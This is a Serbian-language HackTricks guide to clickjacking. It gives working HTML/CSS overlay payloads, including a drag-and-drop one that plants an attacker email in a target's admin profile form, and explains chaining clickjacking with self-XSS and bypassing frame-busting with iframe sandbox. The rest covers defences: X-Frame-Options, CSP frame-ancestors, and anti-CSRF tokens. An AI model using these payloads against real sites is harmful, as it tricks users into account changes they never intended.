Clickjacking

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice. Dobijte pristup danas:

Šta je Clickjacking

U clickjacking napadu, korisnik je prevaren da klikne na element na veb stranici koji je ili nevidljiv ili prikazan kao drugi element. Ova manipulacija može dovesti do neželjenih posledica za korisnika, kao što su preuzimanje malvera, preusmeravanje na zlonamerne veb stranice, pružanje pristupačnih podataka ili osetljivih informacija, transfer novca ili online kupovina proizvoda.

Trik za popunjavanje formi

Ponekad je moguće popuniti vrednost polja forme korišćenjem GET parametara prilikom učitavanja stranice. Napadač može zloupotrebiti ovu funkcionalnost da popuni formu proizvoljnim podacima i pošalje clickjacking payload tako da korisnik pritisne dugme za slanje.

Popunjavanje forme sa Drag&Drop

Ako trebate da korisnik popuni formu ali ne želite direktno da ga zamolite da unese određene informacije (kao što su email ili određena lozinka koju znate), možete ga jednostavno zamoliti da prevuče i ispusti nešto što će upisati vaše kontrolisane podatke kao u ovom primeru.

Osnovni Payload

<style>
iframe {
position:relative;
width: 500px;
height: 700px;
opacity: 0.1;
z-index: 2;
}
div {
position:absolute;
top:470px;
left:60px;
z-index: 1;
}
</style>
<div>Click me</div>
<iframe src="https://vulnerable.com/email?email=asd@asd.asd"></iframe>

Višekorak Payload

<style>
iframe {
position:relative;
width: 500px;
height: 500px;
opacity: 0.1;
z-index: 2;
}
.firstClick, .secondClick {
position:absolute;
top:330px;
left:60px;
z-index: 1;
}
.secondClick {
left:210px;
}
</style>
<div class="firstClick">Click me first</div>
<div class="secondClick">Click me next</div>
<iframe src="https://vulnerable.net/account"></iframe>

Povuci&Pusti + Klikni payload

<html>
<head>
<style>
#payload{
position: absolute;
top: 20px;
}
iframe{
width: 1000px;
height: 675px;
border: none;
}
.xss{
position: fixed;
background: #F00;
}
</style>
</head>
<body>
<div style="height: 26px;width: 250px;left: 41.5%;top: 340px;" class="xss">.</div>
<div style="height: 26px;width: 50px;left: 32%;top: 327px;background: #F8F;" class="xss">1. Click and press delete button</div>
<div style="height: 30px;width: 50px;left: 60%;bottom: 40px;background: #F5F;" class="xss">3.Click me</div>
<iframe sandbox="allow-modals allow-popups allow-forms allow-same-origin allow-scripts" style="opacity:0.3"src="https://target.com/panel/administration/profile/"></iframe>
<div id="payload" draggable="true" ondragstart="event.dataTransfer.setData('text/plain', 'attacker@gmail.com')"><h3>2.DRAG ME TO THE RED BOX</h3></div>
</body>
</html>

XSS + Clickjacking

Ako ste identifikovali XSS napad koji zahteva od korisnika da klikne na neki element kako bi pokrenuo XSS, a stranica je ranjiva na clickjacking, možete je zloupotrebiti da prevarite korisnika da klikne na dugme/link. Primer: Pronašli ste self XSS u nekim privatnim detaljima naloga (detalji koje samo vi možete postaviti i pročitati). Stranica sa formom za postavljanje ovih detalja je ranjiva na Clickjacking i možete unapred popuniti formu sa GET parametrima. __Napadač bi mogao pripremiti Clickjacking napad na tu stranicu unapred popunjavajući formu sa XSS payloadom i prevariti korisnika da pošalje formu. Dakle, kada se forma pošalje i vrednosti se izmene, korisnik će izvršiti XSS.

Strategije za ublažavanje Clickjackinga

Odbrane na strani klijenta

Skripte izvršene na strani klijenta mogu izvršiti radnje kako bi sprečile Clickjacking:

  • Osiguravanje da je prozor aplikacije glavni ili vrhunski prozor.

  • Čineći sve okvire vidljivim.

  • Sprječavanje klikova na nevidljive okvire.

  • Otkrivanje i obaveštavanje korisnika o potencijalnim pokušajima Clickjackinga.

Međutim, ove skripte za prekid okvira mogu biti zaobiđene:

  • Postavke bezbednosti pregledača: Neki pregledači mogu blokirati ove skripte na osnovu svojih postavki bezbednosti ili nedostatka podrške za JavaScript.

  • HTML5 iframe sandbox atribut: Napadač može neutralisati skripte za prekid okvira postavljanjem atributa sandbox sa vrednostima allow-forms ili allow-scripts bez allow-top-navigation. Ovo sprečava iframe da proveri da li je vrhunski prozor, npr.,

<iframe id="victim_website" src="https://victim-website.com" sandbox="allow-forms allow-scripts"></iframe>

Server-Side Odbrane

X-Frame-Options

X-Frame-Options HTTP odgovor zaglavlje obaveštava pretraživače o legitimnosti prikazivanja stranice u <frame> ili <iframe>, pomažući u sprečavanju Clickjacking-a:

  • X-Frame-Options: deny - Nijedna domena ne može postaviti sadržaj u okvir.

  • X-Frame-Options: sameorigin - Samo trenutni sajt može postaviti sadržaj u okvir.

  • X-Frame-Options: allow-from https://trusted.com - Samo određeni 'uri' može postaviti okvir stranice.

  • Imajte na umu ograničenja: ako pretraživač ne podržava ovu direktivu, možda neće raditi. Neki pretraživači više vole CSP frame-ancestors direktivu.

Content Security Policy (CSP) frame-ancestors direktiva

frame-ancestors direktiva u CSP je preporučeni metod za zaštitu od Clickjacking-a:

  • frame-ancestors 'none' - Slično kao X-Frame-Options: deny.

  • frame-ancestors 'self' - Slično kao X-Frame-Options: sameorigin.

  • frame-ancestors trusted.com - Slično kao X-Frame-Options: allow-from.

Na primer, sledeći CSP dozvoljava postavljanje okvira samo sa iste domene:

Content-Security-Policy: frame-ancestors 'self';

Detaljnije informacije i kompleksni primeri mogu se pronaći u dokumentaciji CSP frame-ancestors i Mozilla-inoj dokumentaciji CSP frame-ancestors.

Content Security Policy (CSP) sa child-src i frame-src

Content Security Policy (CSP) je sigurnosna mera koja pomaže u sprečavanju Clickjacking-a i drugih napada ubacivanjem koda specificiranjem izvora koje pretraživač treba da dozvoli za učitavanje sadržaja.

frame-src Direktiva

  • Definiše validne izvore za okvire.

  • Konkretnija od default-src direktive.

Content-Security-Policy: frame-src 'self' https://trusted-website.com;

Ova politika dozvoljava okvire sa istog porekla (self) i https://trusted-website.com.

Direktiva child-src

  • Uvedena u CSP nivou 2 kako bi se postavili validni izvori za web radnike i okvire.

  • Deluje kao zamenska opcija za frame-src i worker-src.

Content-Security-Policy: child-src 'self' https://trusted-website.com;

Ova politika omogućava okvire i radnike sa istog porekla (self) i https://trusted-website.com.

Beleške o korišćenju:

  • Zastarevanje: child-src se postepeno ukida u korist frame-src i worker-src.

  • Ponašanje zamene: Ako frame-src nedostaje, child-src se koristi kao zamena za okvire. Ako oba nedostaju, koristi se default-src.

  • Stroga definicija izvora: Uključite samo pouzdane izvore u direktive kako biste sprečili zloupotrebu.

JavaScript skripte za prekid okvira

Iako nije potpuno neprobojno, JavaScript-om zasnovane skripte za prekid okvira mogu se koristiti kako bi se sprečilo da se web stranica uokviri. Primer:

if (top !== self) {
top.location = self.location;
}

Korišćenje Anti-CSRF Tokena

  • Provera Tokena: Koristite anti-CSRF tokene u veb aplikacijama kako biste osigurali da zahtevi koji menjaju stanje budu namerno napravljeni od strane korisnika, a ne kroz Clickjacked stranicu.

Reference

Koristite Trickest da lako izgradite i automatizujete radne tokove pokretane najnaprednijim alatima zajednice na svetu. Pristupite danas:

Naučite hakovanje AWS-a od nule do heroja sa htARTE (HackTricks AWS Red Team Expert)!

Drugi načini podrške HackTricks-u:

Last updated